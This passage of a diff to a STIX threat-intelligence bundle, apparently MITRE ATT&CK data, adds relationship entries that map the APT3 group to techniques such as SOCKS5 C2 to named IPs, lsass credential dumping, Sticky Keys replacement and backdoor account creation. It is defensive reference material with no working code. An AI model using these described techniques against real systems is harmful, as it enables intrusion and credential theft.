             "description": "An APT3 downloader establishes SOCKS5 connections for its initial C2.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25550,7 +27637,7 @@
             "id": "relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25571,7 +27658,7 @@
             "id": "relationship--ba1b953d-08ce-4b4b-924e-92556cdf1d90",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used PowerShell on victim systems to download and run payloads after exploitation.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25592,7 +27679,7 @@
             "id": "relationship--897dec92-49a8-4edd-8ed2-8082f134e42b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used PowerShell on victim systems to download and run payloads after exploitation.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25613,7 +27700,7 @@
             "id": "relationship--ed283e07-a029-4d23-aa8f-55f92abb5203",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used a keylogging tool that records keystrokes in encrypted files.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25634,9 +27721,9 @@
             "id": "relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
-            "description": "A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.",
+            "description": "A keylogging tool used by APT3 gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway. ",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
             "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
             "object_marking_refs": [
@@ -25647,6 +27734,11 @@
                     "source_name": "Symantec Buckeye",
                     "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                     "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
                 }
             ]
         },
@@ -25655,7 +27747,7 @@
             "id": "relationship--c948f964-e26c-4226-9577-7b78b5bf271f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used a tool to dump credentials by injecting itself into lsass.exe and triggering with the argument \"dig.\" The group has also used a tools to dump passwords from browsers.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25676,7 +27768,7 @@
             "id": "relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.057Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT3 has used a tool that can obtain info about local and global group users, power users, and administrators.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
@@ -25692,12 +27784,635 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--b0791504-fc65-402b-bc47-bd96ed4abea1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can obtain information about the local system. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--4d82bac6-ec9d-4f4b-a471-169728a830a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can enumerate current network connections. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e7714693-e792-44f0-a224-9899df75fced",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can detect the existence of remote systems.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e590aaaa-40fd-4f61-93f3-f2d6daee65a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can enumerate the permissions associated with Windows groups.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--daf56e8e-ea82-4ef2-bb03-78dd7e6ef3c0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can list out currently running processes.  ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--68edf451-bda3-4159-9715-dbcfda8eb8e2",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that exfiltrates data over the C2 channel.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--555e47f2-54bb-4c97-8804-536aa354126c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can run DLLs.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a8b248fe-a27c-40fd-83d5-f4382035d656",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that looks for files and directories on the local file system. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "evolution of pirpi",
+                    "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.",
+                    "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution%20of%20pirpi.pdf"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9b7bf5d9-23a0-4190-80c0-b27b906bafcc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can delete files.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--f661bda3-d524-44b3-aeb0-d8dd8879a569",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can copy files to remote machines.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--80dcd852-39c2-4ef9-a401-e54982010a65",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 obfuscates files or information to help evade defensive measures. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--87ddc052-0933-4722-9fb2-4653c4a3663c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to stage files for exfiltration in a single location. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox Part 2",
+                    "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--bc9cfe76-2d64-4901-8e9e-c69d046cdfaa",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has a tool that creates a new service for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Operation Double Tap",
+                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--cc705bf0-ba29-443e-9cd5-aef247505210",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 places scripts in the startup folder for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "FireEye Operation Double Tap",
+                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--a92197a8-ec5c-4366-92af-f45078a3bfd7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 replaces the Sticky Keys binary <code>C:\\Windows\\System32\\sethc.exe</code> for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--d2858dfa-504f-416d-8801-41a1a9561f22",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 enables the Remote Desktop Protocol for persistence. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to create or enable accounts, such as <code>support_388945a0</code>. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 leverages valid accounts after gaining credentials for use within the victim domain.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--96797ece-5783-4d34-a399-32496c8705ac",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 will copy files over to Windows Admin Shares (like ADMIN$) as part of lateral movement. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Symantec Buckeye",
+                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
+                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--8f6701a2-91cc-449e-98e1-e83bd2f7317c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 will identify Microsoft Office documents on the victim's computer. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "aptsim",
+                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--b028b9a6-4031-4b56-8dd5-0bdd3c59dbec",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
